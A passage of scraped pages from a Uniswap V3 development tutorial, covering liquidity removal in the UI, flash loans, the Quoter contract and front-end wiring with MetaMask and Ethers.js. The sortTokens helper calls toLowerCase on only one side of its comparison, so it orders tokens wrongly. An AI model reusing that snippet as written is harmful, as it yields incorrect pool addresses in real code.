Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface Fetching Positions Getting Pool Address Removing Liquidity User Interface # In this milestone, weve added the ability to remove liquidity from a pool and collect accumulated fees. Thus, we need to reflect these changes in the user interface to allow users to remove liquidity. Fetching Positions # To let user choose how much liquidity to remove, we first need to fetch users positions from a pool. To makes this easier, we can add a helper function to the Manager contract, which will return user position in a specific pool: function getPosition (GetPositionParams calldata params) public view returns ( uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ) { IUniswapV3Pool pool = getPool(params.tokenA, params.tokenB, params.fee); ( liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128, tokensOwed0, tokensOwed1 ) = pool.positions( keccak256( abi.encodePacked( params.owner, params.lowerTick, params.upperTick ) ) ); } This will free us from calculating a pool address and a position key on the front end. Then, after user typed in a position range, we can try fetching a position: const getAvailableLiquidity = debounce (( amount , isLower ) => { const lowerTick = priceToTick ( isLower ? amount : lowerPrice ); const upperTick = priceToTick ( isLower ? upperPrice : amount ); const params = { tokenA : token0 . address , tokenB : token1 . address , fee : fee , owner : account , lowerTick : nearestUsableTick ( lowerTick , feeToSpacing [ fee ]), upperTick : nearestUsableTick ( upperTick , feeToSpacing [ fee ]), } manager . getPosition ( params ) . then ( position => setAvailableAmount ( position . liquidity . toString ())) . catch ( err => console . error ( err )); }, 500 ); Getting Pool Address # Since we need to call burn and collect on a pool, we still need to compute pools address on the front end. Recall that pool addresses are compute using the CREATE2 opcode, which requires a salt and the hash of contracts code. Luckily, Ether.js has getCreate2Address function that allows to compute CREATE2 in JavaScript: const sortTokens = ( tokenA , tokenB ) => { return tokenA . toLowerCase () < tokenB . toLowerCase ? [ tokenA , tokenB ] : [ tokenB , tokenA ]; } const computePoolAddress = ( factory , tokenA , tokenB , fee ) => { [ tokenA , tokenB ] = sortTokens ( tokenA , tokenB ); return ethers . utils . getCreate2Address ( factory , ethers . utils . keccak256 ( ethers . utils . solidityPack ( [ 'address' , 'address' , 'uint24' ], [ tokenA , tokenB , fee ] )), poolCodeHash ); } However, pools codehash has to be hard coded because we dont want to store its code on the front end to calculate the hash. So, well use Forge to get the hash: $ forge inspect UniswapV3Pool bytecode| xargs cast keccak 0x... And then use the output value in a JS constant: const poolCodeHash = \"0x9dc805423bd1664a6a73b31955de538c338bac1f5c61beb8f4635be5032076a2\" ; Removing Liquidity # After obtaining liquidity amount and pool address, were ready to call burn : const removeLiquidity = ( e ) => { e . preventDefault (); if ( ! token0 || ! token1 ) { return ; } setLoading ( true ); const lowerTick = nearestUsableTick ( priceToTick ( lowerPrice ), feeToSpacing [ fee ]); const upperTick = nearestUsableTick ( priceToTick ( upperPrice ), feeToSpacing [ fee ]); pool . burn ( lowerTick , upperTick , amount ) . then ( tx => tx . wait ()) . then ( receipt => { if ( ! receipt . events [ 0 ] || receipt . events [ 0 ]. event !== \"Burn\" ) { throw Error( \"Missing Burn event after burning!\" ); } const amount0Burned = receipt . events [ 0 ]. args . amount0 ; const amount1Burned = receipt . events [ 0 ]. args . amount1 ; return pool . collect ( account , lowerTick , upperTick , amount0Burned , amount1Burned ) }) . then ( tx => tx . wait ()) . then (() => toggle ()) . catch ( err => console . error ( err )); } If burning was successful, we immediately call collect to collect the token amounts that were freed during burning. User Interface Fetching Positions Getting Pool Address Removing Liquidity", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/milestone_3/flash-loans/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Flash Loans Flash Loans Implementing Flash Loans Flash Loans # Both Uniswap V2 and V3 implement flash loans: unlimited and uncollateralized loans that must be repaid in the same transaction. Pools basically give users arbitrary amounts of tokens that they request, but, by the end of the call, the amounts must be repaid, with a small fee on top. The fact that flash loans must be repaid in the same transaction means that flash loans cannot be taken by regular users: as a user, you cannot program custom logic in transactions. Flash loans can only be taken and repaid by smart contracts. Flash loans is a powerful financial instrument in DeFi. While its often used to exploit vulnerabilities in DeFi protocols (by inflating pool balances and abusing flawed state management), its has many good applications (e.g. leveraged positions management on lending protocols)this is why DeFi applications that store liquidity provide permissionless flash loans. Implementing Flash Loans # In Uniswap V2 flash loans were part of the swapping functionality: it was possible to borrow tokens during a swap, but you had to return them or an equal amount of the other pool token, in the same transaction. In V3, flash loans are separated from swappingits simply a function that gives the caller an amount of tokens they requested, calls a callback on the caller, and ensures a flash loan was repaid: function flash ( uint256 amount0, uint256 amount1, bytes calldata data ) public { uint256 balance0Before = IERC20(token0).balanceOf( address (this)); uint256 balance1Before = IERC20(token1).balanceOf( address (this)); if (amount0 > 0 ) IERC20(token0).transfer(msg.sender, amount0); if (amount1 > 0 ) IERC20(token1).transfer(msg.sender, amount1); IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(data); require(IERC20(token0).balanceOf( address (this)) >= balance0Before); require(IERC20(token1).balanceOf( address (this)) >= balance1Before); emit Flash(msg.sender, amount0, amount1); } The function sends tokens to the caller and then calls uniswapV3FlashCallback on itthis is where the caller is expected to repay the loan. Then the function ensures that its balances havent decreased. Notice that custom data is allowed to be passed to the callback. Heres an example of the callback implementation: function uniswapV3FlashCallback ( bytes calldata data) public { ( uint256 amount0, uint256 amount1) = abi.decode( data, ( uint256 , uint256 ) ); if (amount0 > 0 ) token0.transfer(msg.sender, amount0); if (amount1 > 0 ) token1.transfer(msg.sender, amount1); } In this implementation, were simply sending tokens back to the pool (I used this callback in flash function tests). In reality, it can use the loaned amounts to perform some operations on other DeFi protocols. But it always must repay the loan in this callback. And thats it! Flash Loans Implementing Flash Loans", "labels": ["Documentation"]}, {"title": "Quoter Contract #", "html_url": "https://uniswapv3book.com/docs/milestone_2/quoter-contract/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Quoter Contract Quoter Contract Recap Quoter Limitation Quoter Contract # To integrate our updated Pool contract into the front end app, we need a way to calculate swap amounts without making a swap. Users will type in the amount they want to sell, and we want to calculate and show them the amount theyll get in exchange. Well do this through Quoter contract. Since liquidity in Uniswap V3 is scattered over multiple price ranges, we cannot calculate swap amounts with a formula (which was possible in Uniswap V2). The design of Uniswap V3 forces us to use a different approach: to calculate swap amounts, well initiate a real swap and will interrupt it in the callback function, grabbing the amounts calculated by Pool contract. That is, we have to simulate a real swap to calculate output amount! Again, well make a helper contract for that: contract UniswapV3Quoter { struct QuoteParams { address pool; uint256 amountIn; bool zeroForOne; } function quote (QuoteParams memory params) public returns ( uint256 amountOut, uint160 sqrtPriceX96After, int24 tickAfter ) { ... Quoter is a contract that implements only one public function quote . Quoter is a universal contract that works with any pool so it takes pool address as a parameter. The other parameters ( amountIn and zeroForOne ) are required to simulate a swap. try IUniswapV3Pool(params.pool).swap( address (this), params.zeroForOne, params.amountIn, abi.encode(params.pool) ) {} catch ( bytes memory reason) { return abi.decode(reason, ( uint256 , uint160 , int24 )); } The only thing that the contract does is calling swap function of a pool. The call is expected to revert (i.e. throw an error)well do this in the swap callback. In the case of a revert, revert reason is decoded and returned; quote will never revert. Notice that, in the extra data, were passing only pool addressin the swap callback, well use it to get pools slot0 after a swap. function uniswapV3SwapCallback ( int256 amount0Delta, int256 amount1Delta, bytes memory data ) external view { address pool = abi.decode(data, ( address )); uint256 amountOut = amount0Delta > 0 ? uint256 ( - amount1Delta) : uint256 ( - amount0Delta); ( uint160 sqrtPriceX96After, int24 tickAfter) = IUniswapV3Pool(pool) .slot0(); In the swap callback, were collecting values that we need: output amount, new price, and corresponding tick. Next, we need to save these values and revert: assembly { let ptr := mload ( 0x40 ) mstore (ptr, amountOut) mstore ( add (ptr, 0x20 ), sqrtPriceX96After) mstore ( add (ptr, 0x40 ), tickAfter) revert (ptr, 96 ) } For gas optimization, this piece is implemented in Yul , the language used for inline assembly in Solidity. Lets break it down: mload(0x40) reads the pointer of the next available memory slot (memory in EVM is organized in 32 byte slots); at that memory slot, mstore(ptr, amountOut) writes amountOut ; mstore(add(ptr, 0x20), sqrtPriceX96After) writes sqrtPriceX96After right after amountOut ; mstore(add(ptr, 0x40), tickAfter) writes tickAfter after sqrtPriceX96After ; revert(ptr, 96) reverts the call and returns 96 bytes (total length of the values we wrote to memory) of data at address ptr (start of the data we wrote above). So, were basically concatenating the bytes representations of the values we need (exactly what abi.encode() does). Notice that the offsets are always 32 bytes, even though sqrtPriceX96After takes 20 bytes ( uint160 ) and tickAfter takes 3 bytes ( int24 ). This is so we could use abi.decode() to decode the data: its counterpart, abi.encode() , encodes all integers as 32-byte words. Aaaand, done. Recap # Lets recap to better understand the algorithm: quote calls swap of a pool with input amount and swap direction; swap performs a real swap, it runs the loop to fill the input amount specified by user; to get tokens from user, swap calls the swap callback on the caller; the caller (Quote contract) implements the callback, in which it reverts with output amount, new price, and new tick; the revert bubbles up to the initial quote call; in quote , the revert is caught, revert reason is decoded and returned as the result of calling quote . I hope this is clear! Quoter Limitation # This design has one significant limitation: since quote calls swap function of Pool contract, and swap function is not a pure or view function (because it modifies contract state), quote cannot also be pure or view. swap modifies state and so does quote , even if not in Quoter contract. But we treat quote as a getter, a function that only reads contract data. This inconsistency means that EVM will use CALL opcode instead of STATICCALL when quote is called. This is not a big problem since Quoter reverts in the swap callback, and reverting resets the state modified during a callthis guarantees that quote wont modify the state of Pool contract (no actual trade will happen). Another inconvenience that comes from this issue is that calling quote from a client library (Ethers.js, Web3.js, etc.) will trigger a transaction. To fix this, well need to force the library to make a static call. Well see how to do this in Ethers.js later in this milestone. Quoter Contract Recap Quoter Limitation", "labels": ["Documentation"]}, {"title": "User Interface #", "html_url": "https://uniswapv3book.com/docs/milestone_1/user-interface/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface Overview of Tools What is MetaMask? Convenience Libraries Workflows Connecting to Local Node Connecting to MetaMask Providing Liquidity Swapping Tokens Subscribing to Changes User Interface # Finally, we made it to the final stop of this milestonebuilding a user interface! Since building a front-end app is not the main goal of this book, I wont show how to build such an app from scratch. Instead, Ill show how to use MetaMask to interact with smart contracts. If you want to experiment with the app and run it locally, you can fund it in the ui folder in the code repo. This is a simple React app, to run it locally set contracts addresses in App.js and run yarn start . Overview of Tools # What is MetaMask? # MetaMask is an Ethereum wallet implemented as a browser extension. It creates and stores private keys, shows token balances, allows to connect to different networks, sends, and receives ether and tokenseverything a wallet has to do. Besides that, MetaMask acts as a signer and a provider. As a provider, it connects to an Ethereum node and provides an interface to use its JSON-RPC API. As a signer, it provides an interface for secure transaction signing, thus it can be used to sign any transaction using a private key from the wallet. Convenience Libraries # MetaMask, however, doesnt provide much functionality: it can only manage accounts and send raw transactions. We need another library that will make interaction with contracts easy. And we also want a set of utilities that will make our life easier when handling EVM-specific data (ABI encoding/decoding, big numbers handling, etc.). There are multiple such libraries. The two most popular ones are: web3.js and ethers.js . Picking either of them is a matter of personal preference. To me, Ethers.js seems to have a cleaner contract interaction interface, so Ill pick it. Workflows # Lets now see how we can implement interaction scenarios using MetaMask + Ethers.js. Connecting to Local Node # To send transactions and fetch blockchain data, MetaMask connects to an Ethereum node. To interact with our contracts, we need to connect to the local Anvil node. To do this, open MetaMask, click on the list of networks, click Add Network, and add a network with RPC URL http://localhost:8545 . Itll automatically detect the chain ID (31337 in the case of Anvil). After connecting to the local node, we need to import our private key. In MetaMask, click on the list of addresses, click Import Account, and paste the private key of the address you picked before deploying the contracts. After that, go to the assets list and import the addresses of the two tokens. Now you should see balances of the tokens in MetaMask. MetaMask is still somewhat bugged. One problem I struggled with is that it caches blockchain state when connected to localhost . Because of this, when restarting the node, you might see old token balances and state. To fix this, go to the advanced settings and click Reset Account. Youll need to do this each time after restarting the node. Connecting to MetaMask # Not every website is allowed to get access to your address in MetaMask. A website first needs to connect to MetaMask. When a new website is connecting to MetaMask, youll see a window that asks for permissions. Heres how to connect to MetaMask from a front-end app: // ui/src/contexts/MetaMask.js const connect = () => { if ( typeof (window. ethereum ) === 'undefined' ) { return setStatus ( 'not_installed' ); } Promise. all ([ window. ethereum . request ({ method : 'eth_requestAccounts' }), window. ethereum . request ({ method : 'eth_chainId' }), ]). then ( function ([ accounts , chainId ]) { setAccount ( accounts [ 0 ]); setChain ( chainId ); setStatus ( 'connected' ); }) . catch ( function ( error ) { console . error ( error ) }); } window.ethereum is an object provided by MetaMask, its the interface to communicate with MetaMask. If its undefined, MetaMask is not installed. If its defined, we can send two requests to MetaMask: eth_requestAccounts and eth_chainId . In fact, eth_requestAccounts connects a website to MetaMask. It basically queries an address from MetaMask, and MetaMask asks for permission from user. User will be able to choose which addresses to give access to. eth_chainId will ask for the chain ID of the node MetaMask is connected to. After obtaining an address and chain ID, its a good practice to display them in the interface: Providing Liquidity # To provide liquidity into the pool, we need to build a form that asks the user to type the amounts they want to deposit. After clicking Submit, the app will build a transaction that calls mint in the manager contract and provides the amounts chosen by users. Lets see how to do this. Ether.js provides Contract interface to interact with contracts. It makes our life much easier, since it takes on the job of encoding function parameters, creating a valid transaction, and handing it over to MetaMask. For us, calling contracts looks like calling asynchronous methods on a JS object. Lets see how to create an instance of Contracts : token0 = new ethers . Contract ( props . config . token0Address , props . config . ABIs . ERC20 , new ethers . providers . Web3Provider (window. ethereum ). getSigner () ); A Contract instance is an address and the ABI of the contract deployed at this address. The ABI is needed to interact with the contract. The third parameter is the signer interface provided by MetaMaskits used by the JS contract instance to sign transactions via MetaMask. Now, lets add a function for adding liquidity to the pool: const addLiquidity = ( account , { token0 , token1 , manager }, { managerAddress , poolAddress }) => { const amount0 = ethers . utils . parseEther ( \"0.998976618347425280\" ); const amount1 = ethers . utils . parseEther ( \"5000\" ); // 5000 USDC const lowerTick = 84222 ; const upperTick = 86129 ; const liquidity = ethers . BigNumber . from ( \"1517882343751509868544\" ); const extra = ethers . utils . defaultAbiCoder . encode ( [ \"address\" , \"address\" , \"address\" ], [ token0 . address , token1 . address , account ] ); ... The first thing to do is to prepare the parameters. We use the same values we calculated earlier. Next, we allow the manager contract to take our tokens. First, we check the current allowances: Promise. all ( [ token0 . allowance ( account , managerAddress ), token1 . allowance ( account , managerAddress ) ] ) Then, we check if either of them is enough to transfer a corresponding amount of tokens. If not, were sending an approve transaction, which asks the user to approve spending of a specific amount to the manager contract. After ensuring that the user has approved full amounts, we call manager.mint to add liquidity: . then (([ allowance0 , allowance1 ]) => { return Promise. resolve () . then (() => { if ( allowance0 . lt ( amount0 )) { return token0 . approve ( managerAddress , amount0 ). then ( tx => tx . wait ()) } }) . then (() => { if ( allowance1 . lt ( amount1 )) { return token1 . approve ( managerAddress , amount1 ). then ( tx => tx . wait ()) } }) . then (() => { return manager . mint ( poolAddress , lowerTick , upperTick , liquidity , extra ) . then ( tx => tx . wait ()) }) . then (() => { alert ( 'Liquidity added!' ); }); }) lt is a method of BigNumber . Ethers.js uses BigNumber to represent uint256 type, for which JavaScript doesnt have enough precision . This is one of the reasons why we want a convenience library. This is pretty much similar to the test contract, besides the allowances part. token0 , token1 , and manager in the above code are instances of Contract . approve and mint are contract functions, which were generated dynamically from the ABIs we provided when instantiated the contracts. When calling these methods, Ethers.js: encodes function parameters; builds a transaction; passes the transaction to MetaMask and asks to sign it; user sees a MetaMask window and presses Confirm; sends the transaction to the node MetaMask is connected to; returns a transaction object with full information about the sent transaction. The transaction object also contains wait function, which we call to wait for a transaction to be minedthis allows us to wait for a transaction to be successfully executed before sending another. Ethereum requires a strict order of transaction. Remember the nonce? Its an account-wide index of transactions, sent by this account. Every new transaction increases this index, and Ethereum wont mine a transaction until a previous transaction (one with a smaller nonce) was mined. Swapping Tokens # To swap tokens, we use the same pattern: get parameters from the user, check allowance, call swap on the manager. const swap = ( amountIn , account , { tokenIn , manager , token0 , token1 }, { managerAddress , poolAddress }) => { const amountInWei = ethers . utils . parseEther ( amountIn ); const extra = ethers . utils . defaultAbiCoder . encode ( [ \"address\" , \"address\" , \"address\" ], [ token0 . address , token1 . address , account ] ); tokenIn . allowance ( account , managerAddress ) . then (( allowance ) => { if ( allowance . lt ( amountInWei )) { return tokenIn . approve ( managerAddress , amountInWei ). then ( tx => tx . wait ()) } }) . then (() => { return manager . swap ( poolAddress , extra ). then ( tx => tx . wait ()) }) . then (() => { alert ( 'Swap succeeded!' ); }). catch (( err ) => { console . error ( err ); alert ( 'Failed!' ); }); } The only new thing here is ethers.utils.parseEther() function, which we use to convert numbers to wei, the smallest unit in Ethereum. Subscribing to Changes # For a decentralized application, its important to reflect the current blockchain state. For example, in the case of a decentralized exchange, its critical to properly calculate swap prices based on current pool reserves; outdated data can cause slippage and make a swap transaction fail. While developing the pool contract, we learned about events, which act as blockchain data indexes: whenever smart contract state is modified, its a good practice to emit an event since events are indexed for quick search. What were going to do now, is to subscribe to contract events to keep our front-end app updated. Lets build an event feed! If you checked the ABI file as I recommended earlier, you saw that it also contains description of events: event name and its fields. Well, Ether.js parses them and provides an interface to subscribe to new events. Lets see how this works. To subscribe to events, well use on(EVENT_NAME, handler) function. The callback receives all the fields of the event and the event itself as parameters: const subscribeToEvents = ( pool , callback ) => { pool . on ( \"Mint\" , ( sender , owner , tickLower , tickUpper , amount , amount0 , amount1 , event ) => callback ( event )); pool . on ( \"Swap\" , ( sender , recipient , amount0 , amount1 , sqrtPriceX96 , liquidity , tick , event ) => callback ( event )); } To filter and fetch previous events, we can use queryFilter : Promise. all ([ pool . queryFilter ( \"Mint\" , \"earliest\" , \"latest\" ), pool . queryFilter ( \"Swap\" , \"earliest\" , \"latest\" ), ]). then (([ mints , swaps ]) => { ... }); You probably noticed that some event fields are marked as indexed such fields are indexed by Ethereum nodes, which lets search events by specific values in such fields. For example, the Swap event has sender and recipient fields indexed, so we can search by swap sender and recipient. And again, Ethere.js makes this easier: const swapFilter = pool . filters . Swap ( sender , recipient ); const swaps = await pool . queryFilter ( swapFilter , fromBlock , toBlock ); And thats it! Were done with milestone 1! \\[ \\] User Interface Overview of Tools What is MetaMask? Convenience Libraries Workflows Connecting to Local Node Connecting to MetaMask Providing Liquidity Swapping Tokens Subscribing to Changes", "labels": ["Documentation"]}, {"title": "User Interface #", "html_url": "https://uniswapv3book.com/docs/milestone_2/user-interface/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface User Interface # Lets make our web app work more like a real DEX. We can now remove hardcoded swap amounts and let users type arbitrary amounts. Moreover, we can now let users swap in both direction, so we also need a button to swap the token inputs. After updating, the swap form will look like: < form className = \"SwapForm\" > < SwapInput amount = { zeroForOne ? amount0 : amount1 } disabled = { ! enabled || loading } readOnly = { false } setAmount = { setAmount_ ( zeroForOne ? setAmount0 : setAmount1 , zeroForOne )} token = { zeroForOne ? pair [ 0 ] : pair [ 1 ]} /> < ChangeDirectionButton zeroForOne = { zeroForOne } setZeroForOne = { setZeroForOne } disabled = { ! enabled || loading } /> < SwapInput amount = { zeroForOne ? amount1 : amount0 } disabled = { ! enabled || loading } readOnly = { true } token = { zeroForOne ? pair [ 1 ] : pair [ 0 ]} /> < button className = 'swap' disabled = { ! enabled || loading } onClick = { swap_ } > Swap < /button> < /form> Each input has an amount assigned to it depending on swap direction controlled by zeroForOne state variable. The lower input field is always read-only because its value is calculated by Quoter contract. setAmount_ function does two things: it updates the value of the top input and calls Quoter contract to calculate the value of the lower input: const updateAmountOut = debounce (( amount ) => { if ( amount === 0 || amount === \"0\" ) { return ; } setLoading ( true ); quoter . callStatic . quote ({ pool : config . poolAddress , amountIn : ethers . utils . parseEther ( amount ), zeroForOne : zeroForOne }) . then (({ amountOut }) => { zeroForOne ? setAmount1 ( ethers . utils . formatEther ( amountOut )) : setAmount0 ( ethers . utils . formatEther ( amountOut )); setLoading ( false ); }) . catch (( err ) => { zeroForOne ? setAmount1 ( 0 ) : setAmount0 ( 0 ); setLoading ( false ); console . error ( err ); }) }) const setAmount_ = ( setAmountFn ) => { return ( amount ) => { amount = amount || 0 ; setAmountFn ( amount ); updateAmountOut ( amount ) } } Notice the callStatic called on quoter this is what we discussed in the previous chapter: we need to force Ethers.js to make a static call. Since quote is not a pure or view function, Ethers.js will try to call quote in a transaction. And thats it! The UI now allows to specify arbitrary amounts and swap in either direction! User Interface", "labels": ["Documentation"]}, {"title": "User Interface #", "html_url": "https://uniswapv3book.com/docs/milestone_3/user-interface/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface Add Liquidity Dialog Slippage Tolerance in Swapping User Interface # Were now ready to update the UI with the changes we made in this milestone. Well add two new features: Add Liquidity dialog window; slippage tolerance in swapping. Add Liquidity Dialog # This change will finally remove hard coded liquidity amounts from our code and will allow use to add liquidity at arbitrary ranges. The dialog is a simple component with a couple of inputs. We can even re-use addLiquidity function from previous implementation. However, now we need to convert prices to tick indices in JavaScript: we want users to type in prices but the contracts expect ticks. To make our job easier, well use the official Uniswap V3 SDK for that. To convert price to $\\sqrt{P}$, we can use encodeSqrtRatioX96 function. The function takes two amounts as input and calculates a price by dividing one by the other. Since we only want to convert price to $\\sqrt{P}$, we can pass 1 as amount0 : const priceToSqrtP = ( price ) => encodeSqrtRatioX96 ( price , 1 ); To convert price to tick index, we can use TickMath.getTickAtSqrtRatio function. This is an implementation of the Solidity TickMath library in JavaScript: const priceToTick = ( price ) => TickMath . getTickAtSqrtRatio ( priceToSqrtP ( price )); So we can now convert prices typed in by users to ticks: const lowerTick = priceToTick ( lowerPrice ); const upperTick = priceToTick ( upperPrice ); Another thing we need to add here is slippage protection. For simplicity, I made it a hard coded value and set it to 0.5%. Heres how to use slippage tolerance to calculate minimal amounts: const slippage = 0.5 ; const amount0Desired = ethers . utils . parseEther ( amount0 ); const amount1Desired = ethers . utils . parseEther ( amount1 ); const amount0Min = amount0Desired . mul (( 100 - slippage ) * 100 ). div ( 10000 ); const amount1Min = amount1Desired . mul (( 100 - slippage ) * 100 ). div ( 10000 ); Slippage Tolerance in Swapping # Even though were the only user of the application and thus will never have problems with slippage during development, lets add an input to control slippage tolerance during swaps. When swapping, slippage protection is implemented via limiting pricea price we dont to go above or below during a swap. This means that we need to know this price before sending a swap transaction. However, we dont need to calculate it on the front end because Quoter contract does this for us: function quote (QuoteParams memory params) public returns ( uint256 amountOut, uint160 sqrtPriceX96After, int24 tickAfter ) { ... } And were calling Quoter to calculate swap amounts. So, to calculate limiting price we need to take sqrtPriceX96After and subtract slippage tolerance from itthis will be the price we dont want to go below during a swap. const limitPrice = priceAfter.mul(( 100 - parseFloat(slippage)) * 100 ).div( 10000 ); And thats it! \\[ \\] User Interface Add Liquidity Dialog Slippage Tolerance in Swapping", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/categories/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Categories Categories Tags Categories Tags", "labels": ["Documentation"]}, {"title": "", "html_url": "https://uniswapv3book.com/docs/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Docs", "labels": ["Documentation"]}, {"title": "Uniswap V3 Development Book #", "html_url": "https://uniswapv3book.com/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Uniswap V3 Development Book This book is not for complete beginners However, this book is for blockchain beginners Useful links Questions? Where to start for a complete beginner? Uniswap Grants Program Uniswap V3 Development Book # Welcome to the world of decentralized finances and automated market makers! This book will be your guide in this mysterious and amusing world! Together, well build one of the most interesting 